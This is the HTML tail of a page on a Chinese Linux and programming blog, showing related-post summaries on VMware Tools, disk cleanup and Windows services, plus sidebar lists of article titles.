<!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1747595875a2558835.html" title="针对虚拟机中windows系统将电脑中的文件复制到虚拟机">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="针对虚拟机中windows系统将电脑中的文件复制到虚拟机">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1747595875a2558835.html" class="post-item-title" title="针对虚拟机中windows系统将电脑中的文件复制到虚拟机"> <h3>针对虚拟机中windows系统将电脑中的文件复制到虚拟机</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">1.点击“虚拟机“->“安装VmWare  Tools” 2.虚拟机下方跳出这一行字 3.在虚拟机中输入winr&#xff0c;并输入D:setup.exe 4.傻瓜式安装 5.选择典型安装 6.重启虚拟机后即可直接复制</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1747699627a2572979.html" title="电脑C盘哪些文件可以清理">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑C盘哪些文件可以清理">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1747699627a2572979.html" class="post-item-title" title="电脑C盘哪些文件可以清理"> <h3>电脑C盘哪些文件可以清理</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">一、临时文件和缓存 临时文件打开“运行”对话框(按Win+R),输入“%temp%”并按回车。删除打开的文件夹中的所有文件。如果有个别文件无法删除,跳过就好。临时文件的位置在C:WindowsTemp,C:Users用户名AppD</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1748230798a2634017.html" title="Windows下把EXE 程序变成服务运行">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows下把EXE 程序变成服务运行">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1748230798a2634017.html" class="post-item-title" title="Windows下把EXE 程序变成服务运行"> <h3>Windows下把EXE 程序变成服务运行</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">12天前</div> </div> <p class="post-item-summary">做了一个项目&#xff0c;需要Redis&#xff0c;就把Redis.exe做成服务&#xff0c;不用每次开机都启动。 1、我们需要srvany.exe&#xff0c;instsrv.exe两个文件&</p> </div> </div> </div> <div class="roclinux-cn comments"> <div class="roclinux-cn postcomm block-wrap" id="divCommentPost"> <h2 class="block-title"> 发表评论 </h2> <form id="saypl" target="_self" method="post" name="saypl" action="/comment/create/689949.html?safe_token=VsJtJS9vgTYi_2BPBldVy1JbRipJcpwrqlWRXtkwMFP1agDotP2PTLeQ1Fn3Mro7TYMSgMWjNELTYQnQBqGJPotQ_3D_3D"> <input type="hidden" name="doctype" value="1" /> <input type="hidden" name="quotepid" value="0" /> <div class="roclinux-cn comment-box comment-textarea"> <textarea name="message" id="txaArticle" class="text" cols="50" rows="4" tabindex="5" placeholder="评论内容"></textarea> </div> <input name="sumbit" type="submit" tabindex="6" value="发表评论" class="sub"> </form> </div> </div> <div class="sn-comments"> <div class="sn-comments__title">全部评论 0</div> <div class="sn-comments__body"> <div class="sn-empty">暂无评论</div> </div> </div> </div> </div> <div class="aside"> <div class="block-wrap" id="side-top-dxt"> <h2 class="block-title">推荐文章<i class="mcico mico-right"></i></h2> <div class="mcdas"> <a href="/p/1744081805a2530384.html" title="javascript - Using &lt;a href=&quot;tel:...&quot;&gt; in both mobile &amp; non-mobile browsers - Stack Overf" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="javascript - Using &lt;a href=&quot;tel:...&quot;&gt; in both mobile &amp; non-mobile browsers - Stack Overf" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> javascript - Using &lt;a href=&quot;tel:...&quot;&gt; in both mobile &amp; non-mobile browsers - Stack Overf </h3> </div> </a> <a href="/p/1744090335a2531912.html" title="javascript - Submit form to new custom size window - Stack Overflow" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="javascript - Submit form to new custom size window - Stack Overflow" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> javascript - Submit form to new custom size window - Stack Overflow </h3> </div> </a> <a href="/p/1744096508a2532996.html" title="javascript - React.createRef current type in typescript - Stack Overflow" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="javascript - React.createRef current type in typescript - Stack Overflow" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> javascript - React.createRef current type in typescript - Stack Overflow </h3> </div> </a> <a href="/p/1744097113a2533102.html" title="javascript - How to import a js file module in ASP.NET CORE MVC? - Stack Overflow" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="javascript - How to import a js file module in ASP.NET CORE MVC? - Stack Overflow" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> javascript - How to import a js file module in ASP.NET CORE MVC? - Stack Overflow </h3> </div> </a> <a href="/b/1747731014a2576712.html" title="2025三掌柜赠书活动第十六期 网络安全:守护安全防线,铸就高薪荣光" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="2025三掌柜赠书活动第十六期 网络安全:守护安全防线,铸就高薪荣光" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 2025三掌柜赠书活动第十六期 网络安全:守护安全防线,铸就高薪荣光 </h3> </div> </a> </div> </div> <div class="block-wrap" id="side-hot-view-item"> <h2 class="block-title">热门文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744019382a2519524.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - Setting percent % width of FB comments via CSS or JS: not working - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - Setting percent % width of FB comments via CSS or JS: not working - Stack Overflow" target="_blank" href="/p/1744019382a2519524.html"> <h3>javascript - Setting percent % width of FB comments via CSS or JS: not working - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744044862a2523931.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - Async JS loading in head - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - Async JS loading in head - Stack Overflow" target="_blank" href="/p/1744044862a2523931.html"> <h3>javascript - Async JS loading in head - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744053943a2525523.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Laravel 9.x different status code while automated testing - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Laravel 9.x different status code while automated testing - Stack Overflow" target="_blank" href="/p/1744053943a2525523.html"> <h3>Laravel 9.x different status code while automated testing - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744062601a2526997.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - How do I inspect a BroadcastChannel with Chrome DevTools? - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - How do I inspect a BroadcastChannel with Chrome DevTools? - Stack Overflow" target="_blank" href="/p/1744062601a2526997.html"> <h3>javascript - How do I inspect a BroadcastChannel with Chrome DevTools? - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744064302a2527300.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - jquery return value of a non-existing id or class? - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - jquery return value of a non-existing id or class? - Stack Overflow" target="_blank" href="/p/1744064302a2527300.html"> <h3>javascript - jquery return value of a non-existing id or class? - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744065360a2527490.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="html - JavaScript. Uncaught ReferenceError: (object) is not defined at HTMLInputElement.onchange - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="html - JavaScript. Uncaught ReferenceError: (object) is not defined at HTMLInputElement.onchange - Stack Overflow" target="_blank" href="/p/1744065360a2527490.html"> <h3>html - JavaScript. Uncaught ReferenceError: (object) is not defined at HTMLInputElement.onchange - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1747409826a2534961.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="网站被腾讯屏蔽怎么办?实测多种解封方式" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="网站被腾讯屏蔽怎么办?实测多种解封方式" target="_blank" href="/b/1747409826a2534961.html"> <h3>网站被腾讯屏蔽怎么办?实测多种解封方式</h3> </a> <span class="post-date">22天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1747542723a2541844.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="win11本地账号忘记密码后重置密码" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="win11本地账号忘记密码后重置密码" target="_blank" href="/b/1747542723a2541844.html"> <h3>win11本地账号忘记密码后重置密码</h3> </a> <span class="post-date">20天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1747597197a2559622.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="windows10下whisper的安装使用和CUDA的配置" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="windows10下whisper的安装使用和CUDA的配置" target="_blank" href="/b/1747597197a2559622.html"> <h3>windows10下whisper的安装使用和CUDA的配置</h3> </a> <span class="post-date">20天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1748187809a2628371.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Mac安装双系统教程" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Mac安装双系统教程" target="_blank" href="/b/1748187809a2628371.html"> <h3>Mac安装双系统教程</h3> </a> <span class="post-date">13天前</span> </div> </li> </ul> </div> <div class="block-wrap" id="side-new-view-item"> <h2 class="block-title">最新文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744100356a2533471.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - How do I toggle the readonly attribute of all child element with jquery - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - How do I toggle the readonly attribute of all child element with jquery - Stack Overflow" target="_blank" href="/p/1744100356a2533471.html"> <h3>javascript - How do I toggle the readonly attribute of all child element with jquery - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744100331a2533470.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - Might it be possible to block an entire US state from accessing my site, using PHP? - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - Might it be possible to block an entire US state from accessing my site, using PHP? - Stack Overflow" target="_blank" href="/p/1744100331a2533470.html"> <h3>javascript - Might it be possible to block an entire US state from accessing my site, using PHP? - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744100330a2533469.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="c++ - Is dereferencing std::span::end always undefined? - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="c++ - Is dereferencing std::span::end always undefined? - Stack Overflow" target="_blank" href="/p/1744100330a2533469.html"> <h3>c++ - Is dereferencing std::span::end always undefined? - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744100302a2533468.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - Delay function execution if it has been called recently - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - Delay function execution if it has been called recently - Stack Overflow" target="_blank" href="/p/1744100302a2533468.html"> <h3>javascript - Delay function execution if it has been called recently - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1744100275a2533467.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="javascript - Google Maps Autocomplete List - Stack Overflow" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="javascript - Google Maps Autocomplete List - Stack Overflow" target="_blank" href="/p/1744100275a2533467.html"> <h3>javascript - Google Maps Autocomplete List - Stack Overflow</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1749343656a2704355.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Windows 安装和连接使用 PgSql数据库" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Windows 安装和连接使用 PgSql数据库" target="_blank" href="/b/1749343656a2704355.html"> <h3>Windows 安装和连接使用 PgSql数据库</h3> </a> <span class="post-date">1小时前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1749343641a2704353.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="cmd打开计算机D盘,Win7利用cmd命令进入d盘文件夹的操作方法" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="cmd打开计算机D盘,Win7利用cmd命令进入d盘文件夹的操作方法" target="_blank" href="/b/1749343641a2704353.html"> <h3>cmd打开计算机D盘,Win7利用cmd命令进入d盘文件夹的操作方法</h3> </a> <span class="post-date">1小时前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1749343616a2704350.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="如何在VMare中制作Windows Embedded Standard 7 (WES 7)" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="如何在VMare中制作Windows Embedded Standard 7 (WES 7)" target="_blank" href="/b/1749343616a2704350.html"> <h3>如何在VMare中制作Windows Embedded Standard 7 (WES 7)</h3> </a> <span class="post-date">1小时前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1749342928a2704263.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="开机、注销后自动登录Windows" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="开机、注销后自动登录Windows" target="_blank" href="/b/1749342928a2704263.html"> <h3>开机、注销后自动登录Windows</h3> </a> <span class="post-date">1小时前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1749251520a2692895.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="【教程】Python Flask快速学习" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="【教程】Python Flask快速学习" target="_blank" href="/b/1749251520a2692895.html"> <h3>【教程】Python Flask快速学习</h3> </a> <span class="post-date">1天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736247036a1725023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" target="_blank" href="/lvyou/1736247036a1725023.html"> <h3>Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels</h3> </a> <span class="post-date">5月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246824a1724956.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" target="_blank" href="/lvyou/1736246824a1724956.html"> <h3>The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan</h3> </a> <span class="post-date">5月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246607a1724902.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" target="_blank" href="/lvyou/1736246607a1724902.html"> <h3>Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience</h3> </a> <span class="post-date">5月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246384a1724842.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" target="_blank" href="/lvyou/1736246384a1724842.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX</h3> </a> <span class="post-date">5月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246169a1724784.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" target="_blank" href="/lvyou/1736246169a1724784.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA</h3> </a> <span class="post-date">5月前</span> </div> </li> </ul> </div> </div> </div> <div class="footer"> CopyRight © 2022 All Rights Reserved. <br class="footer-br" /> <a href="/" target="_blank">Powered By Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落</a>| <a target="_blank" rel="nofollow" href="https://beian.miit.gov.cn/" style="font-size: 12px;">豫ICP备2022026798号-10</a> </div> <script src="/view/js/xiuno.js?2.3.0"></script> <script src="/view/template/quzhiwa/js/custom.js?2.3.0"></script> <script> $('.cat-tab-wrap li[data-active="fid-1"]').addClass('current-menu-item'); $('.menu-header-container li[data-active="fid-1"]').addClass('current-menu-item'); </script> </body> </html>